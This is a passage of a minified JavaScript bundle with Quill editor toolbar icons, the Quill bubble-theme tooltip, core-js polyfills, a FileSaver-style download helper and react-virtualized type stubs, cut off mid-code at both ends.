18"> <path class=ql-fill d=M14,16H4a1,1,0,0,1,0-2H14A1,1,0,0,1,14,16Z /> <path class=ql-fill d=M14,4H4A1,1,0,0,1,4,2H14A1,1,0,0,1,14,4Z /> <rect class=ql-fill x=3 y=6 width=12 height=6 rx=1 ry=1 /> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M13,16H5a1,1,0,0,1,0-2h8A1,1,0,0,1,13,16Z /> <path class=ql-fill d=M13,4H5A1,1,0,0,1,5,2h8A1,1,0,0,1,13,4Z /> <rect class=ql-fill x=2 y=6 width=14 height=6 rx=1 ry=1 /> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M15,8H13a1,1,0,0,1,0-2h2A1,1,0,0,1,15,8Z /> <path class=ql-fill d=M15,12H13a1,1,0,0,1,0-2h2A1,1,0,0,1,15,12Z /> <path class=ql-fill d=M15,16H5a1,1,0,0,1,0-2H15A1,1,0,0,1,15,16Z /> <path class=ql-fill d=M15,4H5A1,1,0,0,1,5,2H15A1,1,0,0,1,15,4Z /> <rect class=ql-fill x=2 y=6 width=8 height=6 rx=1 ry=1 /> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M5,8H3A1,1,0,0,1,3,6H5A1,1,0,0,1,5,8Z /> <path class=ql-fill d=M5,12H3a1,1,0,0,1,0-2H5A1,1,0,0,1,5,12Z /> <path class=ql-fill d=M13,16H3a1,1,0,0,1,0-2H13A1,1,0,0,1,13,16Z /> <path class=ql-fill d=M13,4H3A1,1,0,0,1,3,2H13A1,1,0,0,1,13,4Z /> <rect class=ql-fill x=8 y=6 width=8 height=6 rx=1 ry=1 transform="translate(24 18) rotate(-180)"/> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M11.759,2.482a2.561,2.561,0,0,0-3.53.607A7.656,7.656,0,0,0,6.8,6.2C6.109,9.188,5.275,14.677,4.15,14.927a1.545,1.545,0,0,0-1.3-.933A0.922,0.922,0,0,0,2,15.036S1.954,16,4.119,16s3.091-2.691,3.7-5.553c0.177-.826.36-1.726,0.554-2.6L8.775,6.2c0.381-1.421.807-2.521,1.306-2.676a1.014,1.014,0,0,0,1.02.56A0.966,0.966,0,0,0,11.759,2.482Z></path> <rect class=ql-fill height=1.6 rx=0.8 ry=0.8 width=5 x=5.15 y=6.2></rect> <path class=ql-fill d=M13.663,12.027a1.662,1.662,0,0,1,.266-0.276q0.193,0.069.456,0.138a2.1,2.1,0,0,0,.535.069,1.075,1.075,0,0,0,.767-0.3,1.044,1.044,0,0,0,.314-0.8,0.84,0.84,0,0,0-.238-0.619,0.8,0.8,0,0,0-.594-0.239,1.154,1.154,0,0,0-.781.3,4.607,4.607,0,0,0-.781,1q-0.091.15-.218,0.346l-0.246.38c-0.068-.288-0.137-0.582-0.212-0.885-0.459-1.847-2.494-.984-2.941-0.8-0.482.2-.353,0.647-0.094,0.529a0.869,0.869,0,0,1,1.281.585c0.217,0.751.377,1.436,0.527,2.038a5.688,5.688,0,0,1-.362.467,2.69,2.69,0,0,1-.264.271q-0.221-.08-0.471-0.147a2.029,2.029,0,0,0-.522-0.066,1.079,1.079,0,0,0-.768.3A1.058,1.058,0,0,0,9,15.131a0.82,0.82,0,0,0,.832.852,1.134,1.134,0,0,0,.787-0.3,5.11,5.11,0,0,0,.776-0.993q0.141-.219.215-0.34c0.046-.076.122-0.194,0.223-0.346a2.786,2.786,0,0,0,.918,1.726,2.582,2.582,0,0,0,2.376-.185c0.317-.181.212-0.565,0-0.494A0.807,0.807,0,0,1,14.176,15a5.159,5.159,0,0,1-.913-2.446l0,0Q13.487,12.24,13.663,12.027Z></path> </svg>'},function(e,t){e.exports='<svg viewBox="0 0 18 18"> <path class=ql-fill d=M10,4V14a1,1,0,0,1-2,0V10H3v4a1,1,0,0,1-2,0V4A1,1,0,0,1,3,4V8H8V4a1,1,0,0,1,2,0Zm6.06787,9.209H14.98975V7.59863a.54085.54085,0,0,0-.605-.60547h-.62744a1.01119,1.01119,0,0,0-.748.29688L11.645,8.56641a.5435.5435,0,0,0-.022.8584l.28613.30762a.53861.53861,0,0,0,.84717.0332l.09912-.08789a1.2137,1.2137,0,0,0,.2417-.35254h.02246s-.01123.30859-.01123.60547V13.209H12.041a.54085.54085,0,0,0-.605.60547v.43945a.54085.54085,0,0,0,.605.60547h4.02686a.54085.54085,0,0,0,.605-.60547v-.43945A.54085.54085,0,0,0,16.06787,13.209Z /> </svg>'},function(e,t){e.exports='<svg viewBox="0 0 18 18"> <path class=ql-fill d=M16.73975,13.81445v.43945a.54085.54085,0,0,1-.605.60547H11.855a.58392.58392,0,0,1-.64893-.60547V14.0127c0-2.90527,3.39941-3.42187,3.39941-4.55469a.77675.77675,0,0,0-.84717-.78125,1.17684,1.17684,0,0,0-.83594.38477c-.2749.26367-.561.374-.85791.13184l-.4292-.34082c-.30811-.24219-.38525-.51758-.1543-.81445a2.97155,2.97155,0,0,1,2.45361-1.17676,2.45393,2.45393,0,0,1,2.68408,2.40918c0,2.45312-3.1792,2.92676-3.27832,3.93848h2.79443A.54085.54085,0,0,1,16.73975,13.81445ZM9,3A.99974.99974,0,0,0,8,4V8H3V4A1,1,0,0,0,1,4V14a1,1,0,0,0,2,0V10H8v4a1,1,0,0,0,2,0V4A.99974.99974,0,0,0,9,3Z /> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=7 x2=13 y1=4 y2=4></line> <line class=ql-stroke x1=5 x2=11 y1=14 y2=14></line> <line class=ql-stroke x1=8 x2=10 y1=14 y2=4></line> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <rect class=ql-stroke height=10 width=12 x=3 y=4></rect> <circle class=ql-fill cx=6 cy=7 r=1></circle> <polyline class="ql-even ql-fill" points="5 12 5 11 7 9 8 10 11 7 13 9 13 12 5 12"></polyline> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=3 x2=15 y1=14 y2=14></line> <line class=ql-stroke x1=3 x2=15 y1=4 y2=4></line> <line class=ql-stroke x1=9 x2=15 y1=9 y2=9></line> <polyline class="ql-fill ql-stroke" points="3 7 3 11 5 9 3 7"></polyline> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=3 x2=15 y1=14 y2=14></line> <line class=ql-stroke x1=3 x2=15 y1=4 y2=4></line> <line class=ql-stroke x1=9 x2=15 y1=9 y2=9></line> <polyline class=ql-stroke points="5 7 5 11 3 9 5 7"></polyline> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=7 x2=11 y1=7 y2=11></line> <path class="ql-even ql-stroke" d=M8.9,4.577a3.476,3.476,0,0,1,.36,4.679A3.476,3.476,0,0,1,4.577,8.9C3.185,7.5,2.035,6.4,4.217,4.217S7.5,3.185,8.9,4.577Z></path> <path class="ql-even ql-stroke" d=M13.423,9.1a3.476,3.476,0,0,0-4.679-.36,3.476,3.476,0,0,0,.36,4.679c1.392,1.392,2.5,2.542,4.679.36S14.815,10.5,13.423,9.1Z></path> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=7 x2=15 y1=4 y2=4></line> <line class=ql-stroke x1=7 x2=15 y1=9 y2=9></line> <line class=ql-stroke x1=7 x2=15 y1=14 y2=14></line> <line class="ql-stroke ql-thin" x1=2.5 x2=4.5 y1=5.5 y2=5.5></line> <path class=ql-fill d=M3.5,6A0.5,0.5,0,0,1,3,5.5V3.085l-0.276.138A0.5,0.5,0,0,1,2.053,3c-0.124-.247-0.023-0.324.224-0.447l1-.5A0.5,0.5,0,0,1,4,2.5v3A0.5,0.5,0,0,1,3.5,6Z></path> <path class="ql-stroke ql-thin" d=M4.5,10.5h-2c0-.234,1.85-1.076,1.85-2.234A0.959,0.959,0,0,0,2.5,8.156></path> <path class="ql-stroke ql-thin" d=M2.5,14.846a0.959,0.959,0,0,0,1.85-.109A0.7,0.7,0,0,0,3.75,14a0.688,0.688,0,0,0,.6-0.736,0.959,0.959,0,0,0-1.85-.109></path> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=6 x2=15 y1=4 y2=4></line> <line class=ql-stroke x1=6 x2=15 y1=9 y2=9></line> <line class=ql-stroke x1=6 x2=15 y1=14 y2=14></line> <line class=ql-stroke x1=3 x2=3 y1=4 y2=4></line> <line class=ql-stroke x1=3 x2=3 y1=9 y2=9></line> <line class=ql-stroke x1=3 x2=3 y1=14 y2=14></line> </svg>'},function(e,t){e.exports='<svg class="" viewbox="0 0 18 18"> <line class=ql-stroke x1=9 x2=15 y1=4 y2=4></line> <polyline class=ql-stroke points="3 4 4 5 6 3"></polyline> <line class=ql-stroke x1=9 x2=15 y1=14 y2=14></line> <polyline class=ql-stroke points="3 14 4 15 6 13"></polyline> <line class=ql-stroke x1=9 x2=15 y1=9 y2=9></line> <polyline class=ql-stroke points="3 9 4 10 6 8"></polyline> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M15.5,15H13.861a3.858,3.858,0,0,0,1.914-2.975,1.8,1.8,0,0,0-1.6-1.751A1.921,1.921,0,0,0,12.021,11.7a0.50013,0.50013,0,1,0,.957.291h0a0.914,0.914,0,0,1,1.053-.725,0.81,0.81,0,0,1,.744.762c0,1.076-1.16971,1.86982-1.93971,2.43082A1.45639,1.45639,0,0,0,12,15.5a0.5,0.5,0,0,0,.5.5h3A0.5,0.5,0,0,0,15.5,15Z /> <path class=ql-fill d=M9.65,5.241a1,1,0,0,0-1.409.108L6,7.964,3.759,5.349A1,1,0,0,0,2.192,6.59178Q2.21541,6.6213,2.241,6.649L4.684,9.5,2.241,12.35A1,1,0,0,0,3.71,13.70722q0.02557-.02768.049-0.05722L6,11.036,8.241,13.65a1,1,0,1,0,1.567-1.24277Q9.78459,12.3777,9.759,12.35L7.316,9.5,9.759,6.651A1,1,0,0,0,9.65,5.241Z /> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <path class=ql-fill d=M15.5,7H13.861a4.015,4.015,0,0,0,1.914-2.975,1.8,1.8,0,0,0-1.6-1.751A1.922,1.922,0,0,0,12.021,3.7a0.5,0.5,0,1,0,.957.291,0.917,0.917,0,0,1,1.053-.725,0.81,0.81,0,0,1,.744.762c0,1.077-1.164,1.925-1.934,2.486A1.423,1.423,0,0,0,12,7.5a0.5,0.5,0,0,0,.5.5h3A0.5,0.5,0,0,0,15.5,7Z /> <path class=ql-fill d=M9.651,5.241a1,1,0,0,0-1.41.108L6,7.964,3.759,5.349a1,1,0,1,0-1.519,1.3L4.683,9.5,2.241,12.35a1,1,0,1,0,1.519,1.3L6,11.036,8.241,13.65a1,1,0,0,0,1.519-1.3L7.317,9.5,9.759,6.651A1,1,0,0,0,9.651,5.241Z /> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class="ql-stroke ql-thin" x1=15.5 x2=2.5 y1=8.5 y2=9.5></line> <path class=ql-fill d=M9.007,8C6.542,7.791,6,7.519,6,6.5,6,5.792,7.283,5,9,5c1.571,0,2.765.679,2.969,1.309a1,1,0,0,0,1.9-.617C13.356,4.106,11.354,3,9,3,6.2,3,4,4.538,4,6.5a3.2,3.2,0,0,0,.5,1.843Z></path> <path class=ql-fill d=M8.984,10C11.457,10.208,12,10.479,12,11.5c0,0.708-1.283,1.5-3,1.5-1.571,0-2.765-.679-2.969-1.309a1,1,0,1,0-1.9.617C4.644,13.894,6.646,15,9,15c2.8,0,5-1.538,5-3.5a3.2,3.2,0,0,0-.5-1.843Z></path> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <path class=ql-stroke d=M5,3V9a4.012,4.012,0,0,0,4,4H9a4.012,4.012,0,0,0,4-4V3></path> <rect class=ql-fill height=1 rx=0.5 ry=0.5 width=12 x=3 y=15></rect> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <rect class=ql-stroke height=12 width=12 x=3 y=3></rect> <rect class=ql-fill height=12 width=1 x=5 y=3></rect> <rect class=ql-fill height=12 width=1 x=12 y=3></rect> <rect class=ql-fill height=2 width=8 x=5 y=8></rect> <rect class=ql-fill height=1 width=3 x=3 y=5></rect> <rect class=ql-fill height=1 width=3 x=3 y=7></rect> <rect class=ql-fill height=1 width=3 x=3 y=10></rect> <rect class=ql-fill height=1 width=3 x=3 y=12></rect> <rect class=ql-fill height=1 width=3 x=12 y=5></rect> <rect class=ql-fill height=1 width=3 x=12 y=7></rect> <rect class=ql-fill height=1 width=3 x=12 y=10></rect> <rect class=ql-fill height=1 width=3 x=12 y=12></rect> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <polygon class=ql-stroke points="7 11 9 13 11 11 7 11"></polygon> <polygon class=ql-stroke points="7 7 9 5 11 7 7 7"></polygon> </svg>'},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.BubbleTooltip=void 0;var r=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=f(n(3)),a=f(n(8)),l=n(43),s=f(l),u=n(15),c=f(n(41));function f(e){return e&&e.__esModule?e:{default:e}}function d(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function p(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function h(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var m=[["bold","italic","link"],[{header:1},{header:2},"blockquote"]],g=function(e){function t(e,n){d(this,t),null!=n.modules.toolbar&&null==n.modules.toolbar.container&&(n.modules.toolbar.container=m);var r=p(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r.quill.container.classList.add("ql-bubble"),r}return h(t,e),o(t,[{key:"extendToolbar",value:function(e){this.tooltip=new v(this.quill,this.options.bounds),this.tooltip.root.appendChild(e.container),this.buildButtons([].slice.call(e.container.querySelectorAll("button")),c.default),this.buildPickers([].slice.call(e.container.querySelectorAll("select")),c.default)}}]),t}(s.default);g.DEFAULTS=(0,i.default)(!0,{},s.default.DEFAULTS,{modules:{toolbar:{handlers:{link:function(e){e?this.quill.theme.tooltip.edit():this.quill.format("link",!1)}}}}});var v=function(e){function t(e,n){d(this,t);var r=p(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r.quill.on(a.default.events.EDITOR_CHANGE,(function(e,t,n,o){if(e===a.default.events.SELECTION_CHANGE)if(null!=t&&t.length>0&&o===a.default.sources.USER){r.show(),r.root.style.left="0px",r.root.style.width="",r.root.style.width=r.root.offsetWidth+"px";var i=r.quill.getLines(t.index,t.length);if(1===i.length)r.position(r.quill.getBounds(t));else{var l=i[i.length-1],s=r.quill.getIndex(l),c=Math.min(l.length()-1,t.index+t.length-s),f=r.quill.getBounds(new u.Range(s,c));r.position(f)}}else document.activeElement!==r.textbox&&r.quill.hasFocus()&&r.hide()})),r}return h(t,e),o(t,[{key:"listen",value:function(){var e=this;r(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"listen",this).call(this),this.root.querySelector(".ql-close").addEventListener("click",(function(){e.root.classList.remove("ql-editing")})),this.quill.on(a.default.events.SCROLL_OPTIMIZE,(function(){setTimeout((function(){if(!e.root.classList.contains("ql-hidden")){var t=e.quill.getSelection();null!=t&&e.position(e.quill.getBounds(t))}}),1)}))}},{key:"cancel",value:function(){this.show()}},{key:"position",value:function(e){var n=r(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"position",this).call(this,e),o=this.root.querySelector(".ql-tooltip-arrow");if(o.style.marginLeft="",0===n)return n;o.style.marginLeft=-1*n-o.offsetWidth/2+"px"}}]),t}(l.BaseTooltip);v.TEMPLATE=['<span class="ql-tooltip-arrow"></span>','<div class="ql-tooltip-editor">','<input type="text" data-formula="e=mc^2" data-link="https://quilljs.com" data-video="Embed URL">','<a class="ql-close"></a>',"</div>"].join(""),t.BubbleTooltip=v,t.default=g},function(e,t,n){e.exports=n(63)}]).default},e.exports=n()}).call(this,n(196).Buffer)},function(e,t,n){var r=n(39);e.exports=r("navigator","userAgent")||""},function(e,t,n){var r=n(51),o=Math.max,i=Math.min;e.exports=function(e,t){var n=r(e);return n<0?o(n+t,0):i(n,t)}},function(e,t,n){"use strict";var r=n(10);e.exports=function(e,t){var n=[][e];return!!n&&r((function(){n.call(null,t||function(){return 1},1)}))}},function(e,t,n){"use strict";var r=n(4),o=n(7),i=n(22),a=n(14),l=n(187),s=n(24),u=n(133),c=n(77),f=n(70),d=n(53),p=n(178),h=n(52),m=n(235),g=n(258),v=n(71),y=n(25),b=n(82),w=n(20),E=n(87),S=n(61),C=n(60),x=n(76),O=n(73).f,A=n(259),_=n(35).forEach,T=n(93),k=n(26),P=n(36),M=n(43),R=n(136),j=M.get,L=M.set,I=k.f,N=P.f,D=Math.round,F=o.RangeError,B=u.ArrayBuffer,H=B.prototype,V=u.DataView,z=s.NATIVE_ARRAY_BUFFER_VIEWS,U=s.TYPED_ARRAY_CONSTRUCTOR,G=s.TYPED_ARRAY_TAG,W=s.TypedArray,q=s.TypedArrayPrototype,Z=s.aTypedArrayConstructor,Y=s.isTypedArray,$=function(e,t){Z(e);for(var n=0,r=t.length,o=new e(r);r>n;)o[n]=t[n++];return o},K=function(e,t){I(e,t,{get:function(){return j(this)[t]}})},X=function(e){var t;return C(H,e)||"ArrayBuffer"==(t=b(e))||"SharedArrayBuffer"==t},Q=function(e,t){return Y(e)&&!E(t)&&t in e&&p(+t)&&t>=0},J=function(e,t){return t=v(t),Q(e,t)?f(2,e[t]):N(e,t)},ee=function(e,t,n){return t=v(t),!(Q(e,t)&&w(n)&&y(n,"value"))||y(n,"get")||y(n,"set")||n.configurable||y(n,"writable")&&!n.writable||y(n,"enumerable")&&!n.enumerable?I(e,t,n):(e[t]=n.value,e)};a?(z||(P.f=J,k.f=ee,K(q,"buffer"),K(q,"byteOffset"),K(q,"byteLength"),K(q,"length")),r({target:"Object",stat:!0,forced:!z},{getOwnPropertyDescriptor:J,defineProperty:ee}),e.exports=function(e,t,n){var a=e.match(/\d+$/)[0]/8,s=e+(n?"Clamped":"")+"Array",u="get"+e,f="set"+e,p=o[s],v=p,y=v&&v.prototype,b={},E=function(e,t){I(e,t,{get:function(){return function(e,t){var n=j(e);return n.view[u](t*a+n.byteOffset,!0)}(this,t)},set:function(e){return function(e,t,r){var o=j(e);n&&(r=(r=D(r))<0?0:r>255?255:255&r),o.view[f](t*a+o.byteOffset,r,!0)}(this,t,e)},enumerable:!0})};z?l&&(v=t((function(e,t,n,r){return c(e,y),R(w(t)?X(t)?void 0!==r?new p(t,g(n,a),r):void 0!==n?new p(t,g(n,a)):new p(t):Y(t)?$(v,t):i(A,v,t):new p(m(t)),e,v)})),x&&x(v,W),_(O(p),(function(e){e in v||d(v,e,p[e])})),v.prototype=y):(v=t((function(e,t,n,r){c(e,y);var o,l,s,u=0,f=0;if(w(t)){if(!X(t))return Y(t)?$(v,t):i(A,v,t);o=t,f=g(n,a);var d=t.byteLength;if(void 0===r){if(d%a)throw F("Wrong length");if((l=d-f)<0)throw F("Wrong length")}else if((l=h(r)*a)+f>d)throw F("Wrong length");s=l/a}else s=m(t),o=new B(l=s*a);for(L(e,{buffer:o,byteOffset:f,byteLength:l,length:s,view:new V(o)});u<s;)E(e,u++)})),x&&x(v,W),y=v.prototype=S(q)),y.constructor!==v&&d(y,"constructor",v),d(y,U,v),G&&d(y,G,s);var C=v!=p;b[s]=v,r({global:!0,constructor:!0,forced:C,sham:!z},b),"BYTES_PER_ELEMENT"in v||d(v,"BYTES_PER_ELEMENT",a),"BYTES_PER_ELEMENT"in y||d(y,"BYTES_PER_ELEMENT",a),T(s)}):e.exports=function(){}},function(e,t,n){(function(n){var r,o,i;o=[],void 0===(i="function"==typeof(r=function(){"use strict";function t(e,t,n){var r=new XMLHttpRequest;r.open("GET",e),r.responseType="blob",r.onload=function(){a(r.response,t,n)},r.onerror=function(){console.error("could not download file")},r.send()}function r(e){var t=new XMLHttpRequest;return t.open("HEAD",e,!1),t.send(),200<=t.status&&299>=t.status}function o(e){try{e.dispatchEvent(new MouseEvent("click"))}catch(n){var t=document.createEvent("MouseEvents");t.initMouseEvent("click",!0,!0,window,0,0,0,80,20,!1,!1,!1,!1,0,null),e.dispatchEvent(t)}}var i="object"==typeof window&&window.window===window?window:"object"==typeof self&&self.self===self?self:"object"==typeof n&&n.global===n?n:void 0,a=i.saveAs||("object"!=typeof window||window!==i?function(){}:"download"in HTMLAnchorElement.prototype?function(e,n,a){var l=i.URL||i.webkitURL,s=document.createElement("a");n=n||e.name||"download",s.download=n,s.rel="noopener","string"==typeof e?(s.href=e,s.origin===location.origin?o(s):r(s.href)?t(e,n,a):o(s,s.target="_blank")):(s.href=l.createObjectURL(e),setTimeout((function(){l.revokeObjectURL(s.href)}),4e4),setTimeout((function(){o(s)}),0))}:"msSaveOrOpenBlob"in navigator?function(e,n,i){if(n=n||e.name||"download","string"!=typeof e)navigator.msSaveOrOpenBlob(function(e,t){return void 0===t?t={autoBom:!1}:"object"!=typeof t&&(console.warn("Deprecated: Expected third argument to be a object"),t={autoBom:!t}),t.autoBom&&/^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(e.type)?new Blob(["\ufeff",e],{type:e.type}):e}(e,i),n);else if(r(e))t(e,n,i);else{var a=document.createElement("a");a.href=e,a.target="_blank",setTimeout((function(){o(a)}))}}:function(e,n,r,o){if((o=o||open("","_blank"))&&(o.document.title=o.document.body.innerText="downloading..."),"string"==typeof e)return t(e,n,r);var a="application/octet-stream"===e.type,l=/constructor/i.test(i.HTMLElement)||i.safari,s=/CriOS\/[\d]+/.test(navigator.userAgent);if((s||a&&l)&&"object"==typeof FileReader){var u=new FileReader;u.onloadend=function(){var e=u.result;e=s?e:e.replace(/^data:[^;]*;/,"data:attachment/file;"),o?o.location.href=e:location=e,o=null},u.readAsDataURL(e)}else{var c=i.URL||i.webkitURL,f=c.createObjectURL(e);o?o.location=f:top.location.href=f,o=null,setTimeout((function(){c.revokeObjectURL(f)}),4e4)}});i.saveAs=a.saveAs=a,e.exports=a})?r.apply(t,o):r)||(e.exports=i)}).call(this,n(47))},function(e,t){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,n){var r=n(156),o=n(87);e.exports=function(e){var t=r(e,"string");return o(t)?t:t+""}},function(e,t,n){var r,o,i=n(7),a=n(65),l=i.process,s=i.Deno,u=l&&l.versions||s&&s.version,c=u&&u.v8;c&&(o=(r=c.split("."))[0]>0&&r[0]<4?1:+(r[0]+r[1])),!o&&a&&(!(r=a.match(/Edge\/(\d+)/))||r[1]>=74)&&(r=a.match(/Chrome\/(\d+)/))&&(o=+r[1]),e.exports=o},function(e,t,n){var r=n(219),o=n(161).concat("length","prototype");t.f=Object.getOwnPropertyNames||function(e){return r(e,o)}},function(e,t,n){"use strict";var r=n(71),o=n(26),i=n(70);e.exports=function(e,t,n){var a=r(t);a in e?o.f(e,a,i(0,n)):e[a]=n}},function(e,t,n){var r=n(21),o=n(61),i=n(26),a=r("unscopables"),l=Array.prototype;null==l[a]&&i.f(l,a,{configurable:!0,value:o(null)}),e.exports=function(e){l[a][e]=!0}},function(e,t,n){var r=n(11),o=n(15),i=n(231);e.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var e,t=!1,n={};try{(e=r(Object.getOwnPropertyDescriptor(Object.prototype,"__proto__").set))(n,[]),t=n instanceof Array}catch(e){}return function(n,r){return o(n),i(r),t?e(n,r):n.__proto__=r,n}}():void 0)},function(e,t,n){var r=n(7),o=n(60),i=r.TypeError;e.exports=function(e,t){if(o(t,e))return e;throw i("Incorrect invocation")}},function(e,t,n){"use strict";var r=n(44),o=n(119);Object.defineProperty(t,"__esModule",{value:!0}),t.bpfrpt_proptype_VisibleCellRange=t.bpfrpt_proptype_Alignment=t.bpfrpt_proptype_OverscanIndicesGetter=t.bpfrpt_proptype_OverscanIndices=t.bpfrpt_proptype_OverscanIndicesGetterParams=t.bpfrpt_proptype_RenderedSection=t.bpfrpt_proptype_ScrollbarPresenceChange=t.bpfrpt_proptype_Scroll=t.bpfrpt_proptype_NoContentRenderer=t.bpfrpt_proptype_CellSize=t.bpfrpt_proptype_CellSizeGetter=t.bpfrpt_proptype_CellRangeRenderer=t.bpfrpt_proptype_CellRangeRendererParams=t.bpfrpt_proptype_StyleCache=t.bpfrpt_proptype_CellCache=t.bpfrpt_proptype_CellRenderer=t.bpfrpt_proptype_CellRendererParams=t.bpfrpt_proptype_CellPosition=void 0;o(n(0)),r(n(197)),r(n(1));t.bpfrpt_proptype_CellPosition=null;t.bpfrpt_proptype_CellRendererParams=null;t.bpfrpt_proptype_CellRenderer=null;t.bpfrpt_proptype_CellCache=null;t.bpfrpt_proptype_StyleCache=null;t.bpfrpt_proptype_CellRangeRendererParams=null;t.bpfrpt_proptype_CellRangeRenderer=null;t.bpfrpt_proptype_CellSizeGetter=null;t.bpfrpt_proptype_CellSize=null;t.bpfrpt_proptype_NoContentRenderer=null;t.bpfrpt_proptype_Scroll=null;t.bpfrpt_proptype_ScrollbarPresenceChange=null;t.bpfrpt_proptype_RenderedSection=null;t.bpfrpt_proptype_OverscanIndicesGetterParams=null;t.bpfrpt_proptype_OverscanIndices=null;t.bpfrpt_proptype_OverscanIndicesGetter=null;t.bpfrpt_proptype_Alignment=null;t.bpfrpt_proptype_VisibleCellRange=null},function(e,t,n){"use strict";function r(e){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}n.d(t,"a",(function(){return l})),n.d(t,"b",(function(){return s})),n.d(t,"c",(function(){return u}));var o=[],i=o.forEach,a=o.slice;function l(e){return i.call(a.call(arguments,1),(function(t){if(t)for(var n in t)void 0===e[n]&&(e[n]=t[n])})),e}function s(){return"function"==typeof XMLHttpRequest||"object"===("undefined"==typeof XMLHttpRequest?"undefined":r(XMLHttpRequest))}function u(e){return function(e){return!!e&&"function"==typeof e.then}(e)?e:Promise.resolve(e)}},,function(e,t,n){var r=n(37);e.exports=function(e,t){var n=e[t];return null==n?void 0:r(n)}},function(e,t,n){var r=n(7),o=n(162),i=n(23),a=n(59),l=n(21)("toStringTag"),s=r.Object,u="Arguments"==a(function(){return arguments}());e.exports=o?a:function(e){var t,n,r;return void 0===e?"Undefined":null===e?"Null":"string"==typeof(n=function(e,t){try{return e[t]}catch(e){}}(t=s(e),l))?n:u?a(t):"Object"==(r=a(t))&&i(t.callee)?"Arguments":r}},function(e,t,n){var r=n(59);e.exports=Array.isArray||function(e){return"Array"==r(e)}},function(e,t,n){var r=n(11);e.exports=r([].slice)},function(e,t,n){var r=n(4),o=n(11),i=n(102),a=n(20),l=n(25),s=n(26).f,u=n(73),c=n(164),f=n(135),d=n(101),p=n(114),h=!1,m=d("meta"),g=0,v=function(e){s(e,m,{value:{objectID:"O"+g++,weakData:{}}})},y=e.exports={enable:function(){y.enable=function(){},h=!0;var e=u.f,t=o([].splice),n={};n[m]=1,e(n).length&&(u.f=function(n){for(var r=e(n),o=0,i=r.length;o<i;o++)if(r[o]===m){t(r,o,1);break}return r},r({target:"Object",stat:!0,forced:!0},{getOwnPropertyNames:c.f}))},fastKey:function(e,t){if(!a(e))return"symbol"==typeof e?e:("string"==typeof e?"S":"P")+e;if(!l(e,m)){if(!f(e))return"F";if(!t)return"E";v(e)}return e[m].objectID},getWeakData:function(e,t){if(!l(e,m)){if(!f(e))return!0;if(!t)return!1;v(e)}return e[m].weakData},onFreeze:function(e){return p&&h&&f(e)&&!l(e,m)&&v(e),e}};i[m]=!0},function(e,t,n){var r=n(927),o=n(928),i=n(267),a=n(929);e.exports=function(e,t){return r(e)||o(e,t)||i(e,t)||a()},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t,n){var r=n(7),o=n(39),i=n(23),a=n(60),l=n(213),s=r.Object;e.exports=l?function(e){return"symbol"==typeof e}:function(e){var t=o("Symbol");return i(t)&&a(t.prototype,s(e))}},function(e,t,n){var r=n(72),o=n(10);e.exports=!!Object.getOwnPropertySymbols&&!o((function(){var e=Symbol();return!String(e)||!(Object(e)instanceof Symbol)||!Symbol.sham&&r&&r<41}))},function(e,t,n){var r=n(7).String;e.exports=function(e){try{return r(e)}catch(e){return"Object"}}},function(e,t,n){var r=n(42),o=n(157);(e.exports=function(e,t){return o[e]||(o[e]=void 0!==t?t:{})})("versions",[]).push({version:"3.22.5",mode:r?"pure":"global",copyright:"© 2014-2022 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.22.5/LICENSE",source:"https://github.com/zloirock/core-js"})},function(e,t,n){var 